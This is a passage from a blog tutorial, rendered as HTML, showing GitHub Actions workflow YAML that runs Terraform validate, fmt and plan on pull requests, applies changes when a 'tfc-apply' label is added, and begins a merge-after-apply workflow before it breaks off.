\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eroot\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003esteps\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eCheckout\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003euses\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eactions/checkout@v3\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eterraform validate\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003euses\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003edflook/terraform-validate@v1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ewith\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003epath\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e${{ matrix.folder }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eworkspace\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e${{ matrix.folder }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eterraform_fmt\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eruns-on\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eubuntu-22.04\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003estrategy\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003efail-fast\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003efalse\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ematrix\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003efolder\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eroot\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003esteps\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003euses\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eactions/checkout@v3\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eterraform fmt\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003euses\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003edflook/terraform-fmt-check@v1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ewith\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003epath\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e${{ matrix.folder }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eworkspace\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e${{ matrix.folder }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eterraform_plan\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eruns-on\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eubuntu-22.04\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003epermissions\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003econtents\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eread\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003epull-requests\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewrite\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003estrategy\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003efail-fast\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003efalse\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ematrix\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003efolder\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eroot\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003esteps\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003euses\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eactions/checkout@v3\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eterraform plan\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003euses\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003edflook/terraform-plan@v1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ewith\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003epath\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e${{ matrix.folder }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eworkspace\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e${{ matrix.folder }}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThis creates three jobs:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eterraform_validate\u003c/strong\u003e: This validates the terraform via \u003ccode\u003eterraform validate\u003c/code\u003e\ncommand to make sure that it is correct and doesn't have duplicate resources\nor anything like that.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eterraform_fmt\u003c/strong\u003e: This verifies that the terraform is well formatted by\nrunning the \u003ccode\u003eterraform fmt\u003c/code\u003e command.`\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eterraform_plan\u003c/strong\u003e: This runs the \u003ccode\u003eterraform\u003c/code\u003e plan and comments on the PR a\ndiff of the changes for you to verify.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eTo verify this is working, lets delete \u003ccode\u003eroot/2-sqs.tf\u003c/code\u003e, then lets push a branch\nand make a pull request to see the result so far:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003erm\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eroot/2-sqs.tf\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003egit\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eadd\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.github/\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eroot/\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003egit\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003echeckout\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-b\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapply-before-merge\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003egit\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecommit\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-m\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"Implemented on-pull-request\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003egit\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003epush\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eorigin\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehead\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eAfter you make the pull request you should 3 checks on it and a comment that\nshows the plan:\u003c/p\u003e\n\u003ccenter\u003e\n\u003cimg src=\"/images/posts/aws_apply_before_merge/github_comment.png\" width=\"400\"\u003e\n\u003cimg src=\"/images/posts/aws_apply_before_merge/github_checks.png\" width=\"400\"\u003e\n\u003c/center\u003e\n\u003ch1\u003eApply on Label\u003c/h1\u003e\n\u003cp\u003eSo now that the plan is working we need some way to \u003ccode\u003eapply\u003c/code\u003e the changes. I've\nfound the best way to do this is via a label rather than a comment because of\nthe way github actions work. Their event based actions like \u003ccode\u003eon-comment\u003c/code\u003e aren't\nexecuted in the context of a pull-request.\u003c/p\u003e\n\u003cp\u003eSince we will be using a label to signal a plan is ready to be applied lets\ncreate a new file \u003ccode\u003e.github/workflows/on-pull-request-labeled.yml\u003c/code\u003e and provide\nthis content:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"default\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003epr_apply\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #6CB6FF\"\u003eon\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003epull_request\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003etypes\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: [ \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003elabeled\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e ]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003eenv\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eTERRAFORM_CLOUD_TOKENS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapp.terraform.io=${{ secrets.TFE_TOKEN }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eGITHUB_TOKEN\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e${{ secrets.GITHUB_TOKEN }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003ejobs\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eterraform_apply\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eif\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e${{ github.event.label.name == 'tfc-apply' }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eruns-on\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eubuntu-22.04\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003epermissions\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003econtents\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eread\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003epull-requests\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewrite\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003estrategy\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003efail-fast\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003efalse\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ematrix\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003efolder\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eroot\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003esteps\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003euses\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eactions/checkout@v3\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003euses\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003edflook/terraform-apply@v1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ewith\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003epath\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e${{ matrix.folder }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eworkspace\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e${{ matrix.folder }}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThis will fire whenever a pull request is labeled with the \u003ccode\u003etfc-apply\u003c/code\u003e label.\nYou will need to create this label for the repository.\u003c/p\u003e\n\u003cp\u003eIt will run the \u003ccode\u003eapply\u003c/code\u003e and update the previous plan comment to let you\nknow the status.\u003c/p\u003e\n\u003ccenter\u003e\n\u003cimg src=\"/images/posts/aws_apply_before_merge/tfc_applying.png\" width=\"400\"\u003e\n\u003cimg src=\"/images/posts/aws_apply_before_merge/tfc_applying_comment.png\" width=\"400\"\u003e\n\u003c/center\u003e\n\u003ch1\u003eMerge on Apply\u003c/h1\u003e\n\u003cp\u003eOne thing you'll notice is that the pull request stayed open even after the\ninfrastructure is applied and we don't want that. We want any changes that have\nmade it into the environment to be merged into \u003ccode\u003emain\u003c/code\u003e automatically. To do\nthis we'll create our final action.\u003c/p\u003e\n\u003cp\u003eCreate a new file \u003ccode\u003e.github/workflows/on-apply-finished.yml\u003c/code\u003e with this content:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"default\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003epr_merge\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #768390\"\u003e# Only trigger, when the build workflow succeeded\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #6CB6FF\"\u003eon\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eworkflow_run\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eworkflows\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: [\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003epr_apply\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003etypes\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: 